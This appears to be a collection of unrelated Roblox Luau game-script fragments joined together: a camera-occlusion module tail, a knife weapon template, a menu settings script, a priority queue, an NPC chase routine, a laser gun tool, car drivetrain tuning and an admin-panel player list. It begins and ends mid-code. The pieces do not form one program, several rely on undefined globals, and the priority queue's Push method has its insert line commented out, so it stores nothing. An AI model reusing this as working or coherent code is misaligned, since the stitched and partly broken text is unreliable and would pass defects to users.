1; break; end; end; end; if v83 > 0 then v89 = math.pow(0.375 + 0.375 / v83, 1 / v83); v90 = math.pow(0.25 + 0.25 / v83, 1 / v83); end; local v96 = p33.camera:GetPartsObscuringTarget(v85, v86); local v97 = {}; for v98 = 1, #v96 do local v99 = v96[v98]; v97[v99] = v88[v99] and v89 or v90; if v99.Transparency < v97[v99] then u9[v99] = true; if not p33.savedHits[v99] then p33.savedHits[v99] = v99.LocalTransparencyModifier; end; end; for v100, v101 in pairs(v99:GetChildren()) do if (v101:IsA("Decal") or v101:IsA("Texture")) and v101.Transparency < v97[v99] then v97[v101] = v97[v99]; u9[v101] = true; if not p33.savedHits[v101] then p33.savedHits[v101] = v101.LocalTransparencyModifier; end; end; end; end; for v102, v103 in pairs(p33.savedHits) do if u9[v102] then v102.LocalTransparencyModifier = v102.Transparency < 1 and (v97[v102] - v102.Transparency) / (1 - v102.Transparency) or 0; else v102.LocalTransparencyModifier = v103; p33.savedHits[v102] = nil; end; end; return p35, p36; end; return v3;
-- Object that the player can interact with
local NPC_NAME = "Maja-M35" local target = workspace:FindFirstChild(NPC_NAME):FindFirstChild("InteractionPart") local ClickDetector = target:FindFirstChild("ClickDetector") local InteractionFrame = target:FindFirstChild("InteractionFrame") local InteractionImage = InteractionFrame:FindFirstChild("InteractionImage")
--------------------- TEMPLATE BLADE WEAPON --------------------------- -- Waits for the child of the specified parent
local function WaitForChild(parent, childName) while not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end return parent[childName] end local SLASH_DAMAGE = 40 local DOWNSTAB_DAMAGE = 70 local THROWING_DAMAGE = 60 local HOLD_TO_THROW_TIME = 0.4 local Damage = 55 local MyHumanoid = nil local MyTorso = nil local MyCharacter = nil local MyPlayer = nil local Tool = script.Parent local Handle = WaitForChild(Tool, 'Handle') local BlowConnection local Button1DownConnection local Button1UpConnection local PlayStabPunch local PlayDownStab local PlayThrow local PlayThrowCharge local IconUrl = Tool.TextureId -- URL to the weapon knife icon asset local DebrisService = game:GetService('Debris') local PlayersService = game:GetService('Players') local SlashSound local HitPlayers = {} local LeftButtonDownTime = nil local Attacking = false function Blow(hit) if Attacking then BlowDamage(hit, Damage) end end function BlowDamage(hit, damage) local humanoid = hit.Parent:FindFirstChild('Humanoid') local player = PlayersService:GetPlayerFromCharacter(hit.Parent) if humanoid ~= nil and MyHumanoid ~= nil and humanoid ~= MyHumanoid then if not MyPlayer.Neutral then -- Ignore teammates hit if player and player ~= MyPlayer and player.TeamColor == MyPlayer.TeamColor then return end end -- final check, make sure weapon is in-hand local rightArm = MyCharacter:FindFirstChild('Right Arm') if (rightArm ~= nil) then -- Check if the weld exists between the hand and the weapon local joint = rightArm:FindFirstChild('RightGrip') if (joint ~= nil and (joint.Part0 == Handle or joint.Part1 == Handle)) then -- Make sure you only hit them once per swing TagHumanoid(humanoid, MyPlayer) print("Sending " .. damage) local checksound = humanoid.Parent:findFirstChild("Sound") if checksound == nil then local givesound = script.Parent.Sound:clone() givesound.Parent = humanoid.Parent givesound.Disabled = false else checksound:remove() local givesound = script.Parent.Sound:clone() givesound.Parent = humanoid.Parent givesound.Disabled = false end wait() humanoid:TakeDamage(humanoid.MaxHealth) if humanoid.Health == math.huge or humanoid.MaxHealth == math.huge then humanoid.Parent:BreakJoints() end end end end end function TagHumanoid(humanoid, player) -- Add more tags here to customize what tags are available. while humanoid:FindFirstChild('creator') do humanoid:FindFirstChild('creator'):Destroy() end local creatorTag = Instance.new('ObjectValue') creatorTag.Value = player creatorTag.Name = 'creator' creatorTag.Parent = humanoid DebrisService:AddItem(creatorTag, 1.5) local weaponIconTag = Instance.new('StringValue') weaponIconTag.Value = IconUrl weaponIconTag.Name = 'icon' weaponIconTag.Parent = creatorTag DebrisService:AddItem(weaponIconTag, 1.5) end function HardAttack() Damage = SLASH_DAMAGE HitSound:play() if PlayStabPunch then PlayStabPunch.Value = true wait(1.0) PlayStabPunch.Value = false end end function NormalAttack() Damage = DOWNSTAB_DAMAGE KnifeDown() HitSound:play() if PlayDownStab then PlayDownStab.Value = true wait(1.0) PlayDownStab.Value = false end KnifeUp() end function ThrowAttack() KnifeOut() if PlayThrow then PlayThrow.Value = true wait() if not Handle then return end local throwingHandle = Handle:Clone() DebrisService:AddItem(throwingHandle, 5) throwingHandle.Parent = game.Workspace if MyCharacter and MyHumanoid then throwingHandle.Velocity = (MyHumanoid.TargetPoint - throwingHandle.CFrame.p).unit * 100 -- set the orientation to the direction it is being thrown in throwingHandle.CFrame = CFrame.new(throwingHandle.CFrame.p, throwingHandle.CFrame.p + throwingHandle.Velocity) * CFrame.Angles(0, 0, math.rad(-90)) local floatingForce = Instance.new('BodyForce', throwingHandle) floatingForce.force = Vector3.new(0, 196.2 * throwingHandle:GetMass() * 0.98, 0) local spin = Instance.new('BodyAngularVelocity', throwingHandle) spin.angularvelocity = throwingHandle.CFrame:vectorToWorldSpace(Vector3.new(0, -400, 0)) end Handle.Transparency = 1 -- Wait so that the knife has left the thrower's general area wait() if throwingHandle then local Throwevent = script.Parent.ThrowHandleHitWeld:Clone() Throwevent.Parent = throwingHandle Throwevent.Disabled = false local touchedConn = throwingHandle.Touched:connect(function(hit) print("hit throw") BlowDamage(hit, THROWING_DAMAGE) end) end -- must check if it still exists since we waited if throwingHandle then throwingHandle.CanCollide = true end wait(0.6) if Handle and PlayThrow then Handle.Transparency = 0 PlayThrow.Value = false end end KnifeUp() end function KnifeUp() Tool.GripForward = Vector3.new(0,0,-1) Tool.GripRight = Vector3.new(1,0,0) Tool.GripUp = Vector3.new(0,1,0) end function KnifeDown() Tool.GripForward = Vector3.new(0,0,-1) Tool.GripRight = Vector3.new(1,0,0) Tool.GripUp = Vector3.new(0,-1,0) end function KnifeOut() Tool.GripForward = Vector3.new(0,0,-1) Tool.GripRight = Vector3.new(1,0,0) Tool.GripUp = Vector3.new(0,1,0) end Tool.Enabled = true function OnLeftButtonDown() LeftButtonDownTime = time() if PlayThrowCharge then PlayThrowCharge.Value = true end end function OnLeftButtonUp() if not Tool.Enabled then return end -- Reset the list of hit players every time we start a new attack HitPlayers = {} if PlayThrowCharge then PlayThrowCharge.Value = false end if Tool.Enabled and MyHumanoid and MyHumanoid.Health > 0 then Tool.Enabled = false local currTime = time() if LeftButtonDownTime and currTime - LeftButtonDownTime > HOLD_TO_THROW_TIME and currTime - LeftButtonDownTime < 1.15 then ThrowAttack() else Attacking = true if math.random(1, 2) == 1 then HardAttack() else NormalAttack() end Attacking = false end Tool.Enabled = true end end function OnEquipped(mouse) PlayStabPunch = WaitForChild(Tool, 'PlayStabPunch') PlayDownStab = WaitForChild(Tool, 'PlayDownStab') PlayThrow = WaitForChild(Tool, 'PlayThrow') PlayThrowCharge = WaitForChild(Tool, 'PlayThrowCharge') SlashSound = WaitForChild(Handle, 'Swoosh1') HitSound = WaitForChild(Handle, 'Ting') SlashSound:play() BlowConnection = Handle.Touched:connect(Blow) MyCharacter = Tool.Parent MyTorso = MyCharacter:FindFirstChild('Torso') MyHumanoid = MyCharacter:FindFirstChild('Humanoid') MyPlayer = PlayersService.LocalPlayer if mouse then Button1DownConnection = mouse.Button1Down:connect(OnLeftButtonDown) Button1UpConnection = mouse.Button1Up:connect(OnLeftButtonUp) end KnifeUp() end function OnUnequipped() -- Unequip logic here if BlowConnection then BlowConnection:disconnect() BlowConnection = nil end if Button1DownConnection then Button1DownConnection:disconnect() Button1DownConnection = nil end if Button1UpConnection then Button1UpConnection:disconnect() Button1UpConnection = nil end MyHumanoid = nil end Tool.Equipped:connect(OnEquipped) Tool.Unequipped:connect(OnUnequipped)
------------------------------------ Settings
local Player = game.Players.LocalPlayer local tweenService = game:GetService("TweenService") local Char = Player.Character local Camera = game.Workspace.CurrentCamera local MenuCam = game.Workspace:WaitForChild("MenuCam") local Process = false wait(game:IsLoaded()) MenuCam.Transparency = 1 Camera.CameraType = Enum.CameraType.Scriptable Camera.CFrame = MenuCam.CFrame local BlurEffect = Instance.new("BlurEffect") BlurEffect.Size = 0 BlurEffect.Parent = game.Lighting local Black = tweenService:Create(script.Parent:WaitForChild("Black") ,TweenInfo.new(2, Enum.EasingStyle.Linear, Enum.EasingDirection.Out), {Transparency = 0}) local UnBlack = tweenService:Create(script.Parent:WaitForChild("Black") ,TweenInfo.new(2, Enum.EasingStyle.Linear, Enum.EasingDirection.Out), {Transparency = 1}) local Blur = tweenService:Create(BlurEffect ,TweenInfo.new(2, Enum.EasingStyle.Linear, Enum.EasingDirection.Out), {Size = 20}) local UnBlur = tweenService:Create(BlurEffect ,TweenInfo.new(1, Enum.EasingStyle.Linear, Enum.EasingDirection.Out), {Size = 0}) if SettingsEnabled == false then script.Parent.SettingsButton.Visible = false end if CreditsEnabled == false then script.Parent.CreditsButton.Visible = false else if script.Parent:WaitForChild("CreditsFrame"):WaitForChild("Frame"):FindFirstChild("TextLabel") then if script.Parent:WaitForChild("CreditsFrame"):WaitForChild("Frame"):WaitForChild("TextLabel").Text == "Scripter -" then script.Parent.CreditsFrame.Frame.TextLabel.Text = "Scripter - "..Player.Name end end end script.Parent:WaitForChild("GameMusic").Playing = true script.Parent.SettingsButton.MouseButton1Click:Connect(function() if Process == true then return end Process = true if script.Parent.SettingsFrame.Position == UDim2.new(0.5, 0,-0.4, 0) then script.Parent.SettingsFrame:TweenPosition(UDim2.new(0.5, 0,0.5, 0), "Out", "Quad", 1) script.Parent.PlayButton:TweenPosition(UDim2.new(-0.3, 0,0.353, 0), "Out", "Quad", 0.5) script.Parent.SettingsButton:TweenPosition(UDim2.new(-0.3, 0,0.508, 0), "Out", "Quad", 0.5) script.Parent.CreditsButton:TweenPosition(UDim2.new(-0.3, 0,0.636, 0), "Out", "Quad", 0.5) Blur:Play() else script.Parent.SettingsFrame:TweenPosition(UDim2.new(0.5, 0,-0.4, 0), "Out", "Quad", 1) script.Parent.PlayButton:TweenPosition(UDim2.new(0.005, 0,0.353, 0), "Out", "Quad", 0.5) script.Parent.SettingsButton:TweenPosition(UDim2.new(0.005, 0,0.508, 0), "Out", "Quad", 0.5) script.Parent.CreditsButton:TweenPosition(UDim2.new(0.005, 0,0.636, 0), "Out", "Quad", 0.5) UnBlur:Play() end wait(2) Process = false end) script.Parent.CreditsButton.MouseButton1Click:Connect(function() if Process == true then return end Process = true if script.Parent.CreditsFrame.Position == UDim2.new(0.5, 0,-0.4, 0) then script.Parent.CreditsFrame:TweenPosition(UDim2.new(0.5, 0,0.5, 0), "Out", "Quad", 1) script.Parent.PlayButton:TweenPosition(UDim2.new(-0.3, 0,0.353, 0), "Out", "Quad", 0.5) script.Parent.SettingsButton:TweenPosition(UDim2.new(-0.3, 0,0.508, 0), "Out", "Quad", 0.5) script.Parent.CreditsButton:TweenPosition(UDim2.new(-0.3, 0,0.636, 0), "Out", "Quad", 0.5) Blur:Play() else script.Parent.CreditsFrame:TweenPosition(UDim2.new(0.5, 0,-0.4, 0), "Out", "Quad", 1) script.Parent.PlayButton:TweenPosition(UDim2.new(0.005, 0,0.353, 0), "Out", "Quad", 0.5) script.Parent.SettingsButton:TweenPosition(UDim2.new(0.005, 0,0.508, 0), "Out", "Quad", 0.5) script.Parent.CreditsButton:TweenPosition(UDim2.new(0.005, 0,0.636, 0), "Out", "Quad", 0.5) UnBlur:Play() end wait(2) Process = false end) script.Parent.CreditsFrame.ExitButton.MouseButton1Click:Connect(function() if Process == true then return end Process = true script.Parent.CreditsFrame:TweenPosition(UDim2.new(0.5, 0,-0.4, 0), "Out", "Quad", 1) script.Parent.PlayButton:TweenPosition(UDim2.new(0.005, 0,0.353, 0), "Out", "Quad", 0.5) script.Parent.SettingsButton:TweenPosition(UDim2.new(0.005, 0,0.508, 0), "Out", "Quad", 0.5) script.Parent.CreditsButton:TweenPosition(UDim2.new(0.005, 0,0.636, 0), "Out", "Quad", 0.5) UnBlur:Play() wait(2) Process = false end) script.Parent.SettingsFrame.ExitButton.MouseButton1Click:Connect(function() if Process == true then return end Process = true script.Parent.SettingsFrame:TweenPosition(UDim2.new(0.5, 0,-0.4, 0), "Out", "Quad", 1) script.Parent.PlayButton:TweenPosition(UDim2.new(0.005, 0,0.353, 0), "Out", "Quad", 0.5) script.Parent.SettingsButton:TweenPosition(UDim2.new(0.005, 0,0.508, 0), "Out", "Quad", 0.5) script.Parent.CreditsButton:TweenPosition(UDim2.new(0.005, 0,0.636, 0), "Out", "Quad", 0.5) UnBlur:Play() wait(2) Process = false end) if script.Parent.SettingsFrame.Frame:FindFirstChild("Shadows") then script.Parent.SettingsFrame.Frame.Shadows.MouseButton1Click:Connect(function() if script.Parent.SettingsFrame.Frame.Shadows.Text == "X" then script.Parent.SettingsFrame.Frame.Shadows.Text = "" game.Lighting.GlobalShadows = false else script.Parent.SettingsFrame.Frame.Shadows.Text = "X" game.Lighting.GlobalShadows = true end end) end if script.Parent.SettingsFrame.Frame:FindFirstChild("Time") then script.Parent.SettingsFrame.Frame.Time.MouseButton1Click:Connect(function() if script.Parent.SettingsFrame.Frame.Time.Text == "DAY" then script.Parent.SettingsFrame.Frame.Time.Text = "NIGHT" game.Lighting.ClockTime = NightClockTime else script.Parent.SettingsFrame.Frame.Time.Text = "DAY" game.Lighting.ClockTime = DayClockTime end end) end if script.Parent.SettingsFrame.Frame:FindFirstChild("Music") then script.Parent.SettingsFrame.Frame.Music.MouseButton1Click:Connect(function() if script.Parent.SettingsFrame.Frame.Music.Text == "X" then script.Parent.SettingsFrame.Frame.Music.Text = "" script.Parent.GameMusic.Playing = false else script.Parent.SettingsFrame.Frame.Music.Text = "X" script.Parent.GameMusic.Playing = true end end) end script.Parent.PlayButton.MouseButton1Click:Connect(function() if Process == true then return end Process = true Black:Play() wait(3) Camera.CameraType = Enum.CameraType.Custom script.Parent.PlayButton:Destroy() script.Parent.SettingsButton:Destroy() script.Parent.CreditsButton:Destroy() UnBlack:Play() end)
-- // NOTE: This module is not written by me, but slightly modified \\ --
function PriorityQueue.new() return setmetatable({ heap = {}, current_size = 0 }, PriorityQueue) end function PriorityQueue:isEmpty() return self.current_size == 0 end function PriorityQueue:size() return self.current_size end function PriorityQueue:swim() -- Swim up on the tree and fix the order heap property. local floor = floor local heap = self.heap local i = self.current_size local half = floor(i / 2) while half > 0 do if heap[i][2] < heap[half][2] then heap[i], heap[half] = heap[half], heap[i] end i = half half = floor(i / 2) end end function PriorityQueue:Push(v, p) --[[ Put an item on the queue. Args: v: the item to be stored p(number): the priority of the item ]]-- -- table.insert(self.heap, {v, p}) self.current_size += 1 self:swim() end
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
local path local waypoint local chaseName = nil function GetTorso(part) local chars = game.Workspace:GetDescendants() local chaseRoot = nil local chaseTorso = nil local chasePlr = nil local chaseHuman = nil local mag = SearchDistance script.Parent.WantToAttack.Changed:Connect(function() if script.Parent.WantToAttack.Value == true then mag = SearchDistance else if script.Parent.WantToScare.Value == true then mag = SearchDistance/1.5 else mag = 0 end end end) for i = 1, #chars do chasePlr = chars[i] if chasePlr:IsA'Model' and not chasePlr:FindFirstChild("Enemy") and chasePlr:FindFirstChild("Seen") then chaseHuman = getHumanoid(chasePlr) chaseRoot = chasePlr:FindFirstChild'HumanoidRootPart' if chaseRoot ~= nil and chaseHuman ~= nil and chaseHuman.Health > 0 and not chaseHuman:FindFirstChild("Enemy") and not chasePlr:FindFirstChild("Helper") then if (chaseRoot.Position - part).magnitude < mag then chaseName = chasePlr.Name chaseTorso = chaseRoot mag = (chaseRoot.Position - part).magnitude end end end end return chaseTorso end function GetPlayersBodyParts(t) local torso = t if torso then local figure = torso.Parent for _, v in pairs(figure:GetChildren())do if v:IsA'Part' then return v.Name end end else return "HumanoidRootPart" end end
--Made by Luckymaxer
Tool = script.Parent Handle = Tool:WaitForChild("Handle") Barrel = Handle:WaitForChild("Muzzle") Players = game:GetService("Players") Debris = game:GetService("Debris") RunService = game:GetService("RunService") UserInputService = game:GetService("UserInputService") AmmoDisplay = script:WaitForChild("AmmoDisplay"):Clone() CastLaser = Tool:WaitForChild("CastLaser"):Clone() Camera = game:GetService("Workspace").CurrentCamera BaseUrl = "http://www.roblox.com/asset/?id=" AnimationTracks = {} LocalObjects = {} Animations = { Hold = {Animation = Tool:WaitForChild("Hold"), FadeTime = nil, Weight = nil, Speed = 1, Duration = 2}, Fire = {Animation = Tool:WaitForChild("Fire"), FadeTime = 0.25, Weight = nil, Speed = 0.5, Duration = 0.5}, Reload = {Animation = Tool:WaitForChild("Reload"), FadeTime = nil, Weight = nil, Speed = 0.5, Duration = 3}, } Sounds = { Reload = Handle:WaitForChild("Reload"), NoAmmo = Handle:WaitForChild("NoAmmo"), } Modules = Tool:WaitForChild("Modules") Functions = require(Modules:WaitForChild("Functions")) Remotes = Tool:WaitForChild("Remotes") ServerControl = Remotes:WaitForChild("ServerControl") ClientControl = Remotes:WaitForChild("ClientControl") ConfigurationBin = Tool:WaitForChild("Configuration") Configuration = {} Configuration = Functions.CreateConfiguration(ConfigurationBin, Configuration) InputCheck = Instance.new("ScreenGui") InputCheck.Name = "InputCheck" InputButton = Instance.new("ImageButton") InputButton.Name = "InputButton" InputButton.Image = "" InputButton.BackgroundTransparency = 1 InputButton.ImageTransparency = 1 InputButton.Size = UDim2.new(1, 0, 1, 0) InputButton.Parent = InputCheck Cursors = { Normal = (BaseUrl .. "170908665"), EnemyHit = (BaseUrl .. "172618259"), } Rate = (1 / 60) FiringOffset = Vector3.new(0, ((Handle.Size.Y / 4) - 0.2), -(Handle.Size.Z / 2)) Reloading = false MouseDown = false ToolEquipped = false Tool.Enabled = true function SetAnimation(mode, value) if mode == "PlayAnimation" and value and ToolEquipped and Humanoid then for i, v in pairs(AnimationTracks) do if v.Animation == value.Animation then v.AnimationTrack:Stop() table.remove(AnimationTracks, i) end end local AnimationTrack = Humanoid:LoadAnimation(value.Animation) table.insert(AnimationTracks, {Animation = value.Animation, AnimationTrack = AnimationTrack}) AnimationTrack:Play(value.FadeTime, value.Weight, value.Speed) elseif mode == "StopAnimation" and value then for i, v in pairs(AnimationTracks) do if v.Animation == value.Animation then v.AnimationTrack:Stop(value.FadeTime) table.remove(AnimationTracks, i) end end end end function ToggleGui() if not AmmoDisplayClone or not AmmoDisplayClone.Parent then return end local Frame = AmmoDisplayClone.Frame local Ammo = Frame.Ammo if Configuration.Ammo.ClipSize.MaxValue > 0 then Ammo.AmmoCounter.CounterPart.Text = Configuration.Ammo.ClipSize.Value end Ammo.MagCounter.CounterPart.Text = Configuration.Ammo.Magazines.Value end function Reload() if Reloading or not Tool.Enabled or Configuration.Ammo.Magazines.Value >= Configuration.Ammo.Magazines.MaxValue then return end Tool.Enabled = false Reloading = true ToggleGui() local CanReload = true if Configuration.Ammo.ClipSize.MaxValue > 0 and Configuration.Ammo.ClipSize.Value <= 0 then CanReload = false else CanReload = true end if CanReload then Spawn(function() local Animation = Animations.Reload OnClientInvoke("PlayAnimation", Animation) wait(Animation.Duration) OnClientInvoke("StopAnimation", Animation) end) Sounds.Reload:Play() local AddedClips = ((Configuration.Ammo.Magazines.MaxValue > 0 and (Configuration.Ammo.Magazines.MaxValue - Configuration.Ammo.Magazines.Value)) or Configuration.Ammo.ClipSize.MaxValue) if Configuration.Ammo.ClipSize.MaxValue > 0 then AddedClips = ((AddedClips > Configuration.Ammo.ClipSize.Value and Configuration.Ammo.ClipSize.Value) or AddedClips) end --[[local ReloadRate = (Configuration.ReloadTime.Value / Configuration.Ammo.Magazines.MaxValue) for i = 1, AddedClips do wait(ReloadTime) Configuration.Ammo.Magazines.Value = (Configuration.Ammo.Magazines.Value + 1) end]] wait(Configuration.ReloadTime.Value) Configuration.Ammo.Magazines.Value = (Configuration.Ammo.Magazines.Value + AddedClips) Configuration.Ammo.ClipSize.Value = (Configuration.Ammo.ClipSize.Value - AddedClips) Sounds.Reload:Stop() ToggleGui() end Reloading = false Tool.Enabled = true end function RayTouched(Hit, Position) if not Hit or not Hit.Parent then return end local character = Hit.Parent if character:IsA("Hat") then character = character.Parent end if character == Character then return end local humanoid = character:FindFirstChild("Humanoid") local SoundChosen = Sounds.RayHit if not humanoid or humanoid.Health == 0 then return end local player = Players:GetPlayerFromCharacter(character) if player and Functions.IsTeamMate(Player, player) then return end Spawn(function() IconChangeTick = tick() PlayerMouse.Icon = Cursors.EnemyHit wait(1) if (tick() - IconChangeTick) >= 0.95 and ToolEquipped and PlayerMouse then PlayerMouse.Icon = Cursors.Normal end end) end function FireRay(StartPosition, TargetPosition) local Direction = CFrame.new(StartPosition, TargetPosition).lookVector local RayHit, RayPos, RayNormal = Functions.CastRay(StartPosition, Direction, Configuration.Range.Value, {Character}, false) local Backpack = Player:FindFirstChild("Backpack") if Backpack then local LaserScript = CastLaser:Clone() local StartPos = Instance.new("Vector3Value") StartPos.Name = "StartPosition" StartPos.Value = StartPosition StartPos.Parent = LaserScript local TargetPos = Instance.new("Vector3Value") TargetPos.Name = "TargetPosition" TargetPos.Value = RayPos TargetPos.Parent = LaserScript local RayHit = Instance.new("BoolValue") RayHit.Name = "RayHit" RayHit.Value = RayHit RayHit.Parent = LaserScript LaserScript.Disabled = false LaserScript.Parent = Backpack end Spawn(function() InvokeServer("CastLaser", {StartPosition = StartPosition, TargetPosition = RayPos, RayHit = ((RayHit and true) or false)}) end) Spawn(function() InvokeServer("RayHit", {Hit = RayHit, Position = RayPos}) end) RayTouched(RayHit, RayPos) end function Button1Pressed(Down) if not Down and MouseDown then MouseDown = false end end function KeyPress(Key, Down) if Key == "r" and Down then Reload() end end function Activated() if not Tool.Enabled or not ToolEquipped or Reloading then return end Tool.Enabled = false if Configuration.Ammo.Magazines.Value > 0 then local FirstShot = false if Configuration.Automatic.Value then MouseDown = true end OnClientInvoke("StopAnimation", {Animation = Animations.Fire.Animation, FadeTime = nil}) OnClientInvoke("PlayAnimation", Animations.Fire) while MouseDown or not FirstShot and ToolEquipped and CheckIfAlive() do if Configuration.Ammo.Magazines.Value <= 0 or not ToolEquipped or not CheckIfAlive() then break end if not FirstShot then FirstShot = true end local BurstAmount = math.random(Configuration.Burst.Bullets.MinValue, Configuration.Burst.Bullets.MaxValue) local WithinFiringRange = false Spawn(function() InvokeServer("Fire", true) end) for i = 1, ((BurstAmount > 0 and BurstAmount) or 1) do local TargetPosition = OnClientInvoke("MousePosition") if not TargetPosition then break end TargetPosition = TargetPosition.Position local StartPosition = Barrel.WorldPosition --(Handle.CFrame * CFrame.new(FiringOffset.X, FiringOffset.Y, FiringOffset.Z)).p if BurstAmount > 0 then local Offset = (Configuration.Burst.Offset.Value * 100) TargetPosition = TargetPosition + Vector3.new((math.random(-Offset.X, Offset.X) * 0.01), (math.random(-Offset.Y, Offset.Y) * 0.01), (math.random(-Offset.Z, Offset.Z) * 0.01)) end local Accuracy = (Configuration.Accuracy.Value * 100) TargetPosition = TargetPosition + Vector3.new((math.random(-Accuracy.X, Accuracy.X) * 0.01), (math.random(-Accuracy.Y, Accuracy.Y) * 0.01), (math.random(-Accuracy.Z, Accuracy.Z) * 0.01)) Configuration.Ammo.Magazines.Value = (Configuration.Ammo.Magazines.Value - 1) FireRay(StartPosition, TargetPosition) end ToggleGui() wait(Configuration.FireRate.Value) end OnClientInvoke("StopAnimation", {Animation = Animations.Fire.Animation, FadeTime = 0.25}) else Tool.Enabled = true Sounds.NoAmmo:Play() Reload() end MouseDown = false Tool.Enabled = true if Configuration.Ammo.Magazines.Value <= 0 then Sounds.NoAmmo:Play() Reload() end end function CheckIfAlive() return (((Player and Player.Parent and Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0) and true) or false) end function Equipped(Mouse) Character = Tool.Parent Player = Players:GetPlayerFromCharacter(Character) Humanoid = Character:FindFirstChild("Humanoid") if not CheckIfAlive() then return end ToolEquipped = true Spawn(function() PlayerMouse = Player:GetMouse() Mouse.Button1Down:connect(function() Button1Pressed(true) end) Mouse.Button1Up:connect(function() Button1Pressed(false) end) Mouse.KeyDown:connect(function(Key) KeyPress(Key, true) end) Mouse.KeyUp:connect(function(Key) KeyPress(Key, false) end) Humanoid.CameraOffset = Vector3.new(0, 0.35, 0) OnClientInvoke("PlayAnimation", Animations.Hold) local PlayerGui = Player:FindFirstChild("PlayerGui") if PlayerGui then if UserInputService.TouchEnabled then InputCheckClone = InputCheck:Clone() InputCheckClone.InputButton.InputBegan:connect(function() InvokeServer("Button1Click", {Down = true}) end) InputCheckClone.InputButton.InputEnded:connect(function() InvokeServer("Button1Click", {Down = false}) end) InputCheckClone.Parent = PlayerGui end local function AdjustAmmoDisplay() local Frame = AmmoDisplayClone.Frame Frame.CurrentWeapon.Text = Configuration.ToolName.Value local Ammo = Frame.Ammo Ammo.AmmoCounter.CounterPart.Text = ((Configuration.Ammo.ClipSize.MaxValue > 0 and Configuration.Ammo.ClipSize.Value) or "--") Ammo.MagCounter.CounterPart.Text = Configuration.Ammo.Magazines.Value end AmmoDisplayClone = AmmoDisplay:Clone() AdjustAmmoDisplay() AmmoDisplayClone.Parent = PlayerGui ToggleGui() for i, v in pairs({ClipSizeChanged, MagazinesChanged}) do if v then v:disconnect() end end ClipSizeChanged = Configuration.Ammo.ClipSize.Changed:connect(function() AdjustAmmoDisplay() end) MagazinesChanged = Configuration.Ammo.Magazines.Changed:connect(function() AdjustAmmoDisplay() end) end for i, v in pairs({"Left Arm", "Right Arm"}) do local Arm = Character:FindFirstChild(v) if Arm then Spawn(function() OnClientInvoke("SetLocalTransparencyModifier", {Object = Arm, Transparency = 0, AutoUpdate = false}) end) end end Mouse.Icon = Cursors.Normal end) end function Unequipped() LocalObjects = {} if CheckIfAlive() then Humanoid.CameraOffset = Vector3.new(0, 0, 0) end for i, v in pairs(Sounds) do v:Stop() end if PlayerMouse then PlayerMouse.Icon = "" end for i, v in pairs({InputCheckClone, ObjectLocalTransparencyModifier, AmmoDisplayClone, ClipSizeChanged, MagazinesChanged}) do if tostring(v) == "Connection" then v:disconnect() elseif v and v.Parent then v:Destroy() end end MouseDown = false for i, v in pairs(AnimationTracks) do if v and v.AnimationTrack then v.AnimationTrack:Stop() end end AnimationTracks = {} ToolEquipped = false end function InvokeServer(mode, value) pcall(function() local ServerReturn = ServerControl:InvokeServer(mode, value) return ServerReturn end) end function OnClientInvoke(mode, value) if mode == "PlayAnimation" and value and ToolEquipped and Humanoid then SetAnimation("PlayAnimation", value) elseif mode == "StopAnimation" and value then SetAnimation("StopAnimation", value) elseif mode == "PlaySound" and value then value:Play() elseif mode == "StopSound" and value then value:Stop() elseif mode == "MousePosition" then return {Position = PlayerMouse.Hit.p, Target = PlayerMouse.Target} elseif mode == "SetLocalTransparencyModifier" and value and ToolEquipped then pcall(function() local ObjectFound = false for i, v in pairs(LocalObjects) do if v == value then ObjectFound = true end end if not ObjectFound then table.insert(LocalObjects, value) if ObjectLocalTransparencyModifier then ObjectLocalTransparencyModifier:disconnect() end ObjectLocalTransparencyModifier = RunService.RenderStepped:connect(function() for i, v in pairs(LocalObjects) do if v.Object and v.Object.Parent then local CurrentTransparency = v.Object.LocalTransparencyModifier if ((not v.AutoUpdate and (CurrentTransparency == 1 or CurrentTransparency == 0)) or v.AutoUpdate) then v.Object.LocalTransparencyModifier = v.Transparency end else table.remove(LocalObjects, i) end end end) end end) end end ClientControl.OnClientInvoke = OnClientInvoke Tool.Activated:connect(Activated) Tool.Equipped:connect(Equipped) Tool.Unequipped:connect(Unequipped)
--Drivetrain
Tune.TransModes = {"Auto", "Semi", "Manual"} --{"Auto", "Semi", "Manual"} Tune.AutoShiftMode = "RPM" --"RPM" , "Speed" Tune.AutoUpThresh = 0 Tune.AutoDownThresh = 1400 Tune.FDiffSlipThres = 20 -- 1 - 100% (Max threshold of applying full lock determined by deviation from avg speed) Tune.FDiffLockThres = 40 -- 0 - 100% (0 - Bias toward slower wheel, 100 - Bias toward faster wheel) Tune.RDiffSlipThres = 20 -- 1 - 100% Tune.RDiffLockThres = 40 -- 0 - 100% Tune.CDiffSlipThres = 40 -- 1 - 100% [AWD Only] Tune.CDiffLockThres = 30 -- 0 - 100% [AWD Only] Tune.TCSThreshold = 15 Tune.TCSGradient = 20 Tune.TCSLimit = .05 Tune.Config = "RWD" --"FWD" , "RWD" , "AWD" Tune.FinalDrive = 3.9 Tune.Ratios = { --[[Reverse]] 3.62 , --[[Neutral]] 0 , --[[ 1 ]] 6.8 , --[[ 2 ]] 3.9 , --[[ 3 ]] 2.3 , --[[ 4 ]] 1.4 , --[[ 5 ]] 1.0 , --[[ 6 ]] 0.9 , } Tune.BrakeForce = 35000 Tune.PBrakeForce = 40000
-- Player List
local iswhitelisted = whitelist:CheckWhitelist(game.Players.LocalPlayer.Name) if iswhitelisted == false then rs.Whitelist:Destroy() script.Parent.Toggle:Destroy() script.Parent.Panel:Destroy() script:Destroy() return end function fixcanvas() local amount = script.Parent.Panel.PlayerList:GetChildren() local fixedamount = #amount-1 print(fixedamount) script.Parent.Panel.PlayerList.CanvasSize = UDim2.new(0,0,0,fixedamount*35) end for i,v in pairs(game.Players:GetPlayers()) do local username = script.Username:Clone() username.Name = v.Name username.Text = v.Name username.Parent = script.Parent.Panel.PlayerList fixcanvas() username.MouseButton1Click:Connect(function() if game.Players:FindFirstChild(username.Name) then chosenplr = game.Players:FindFirstChild(username.Name) end end) end game.Players.PlayerAdded:Connect(function(plr) local username = script.Username:Clone() username.Name = plr.Name username.Text = plr.Name username.Parent = script.Parent.Panel.PlayerList fixcanvas() username.MouseButton1Click:Connect(function() if game.Players:FindFirstChild(username.Name) then chosenplr = game.Players:FindFirstChild(username.Name) end end) end) game.Players.PlayerRemoving:Connect(function(plr) local name = script.Parent.Panel.PlayerList:FindFirstChild(plr.Name) if name then name:Destroy() end 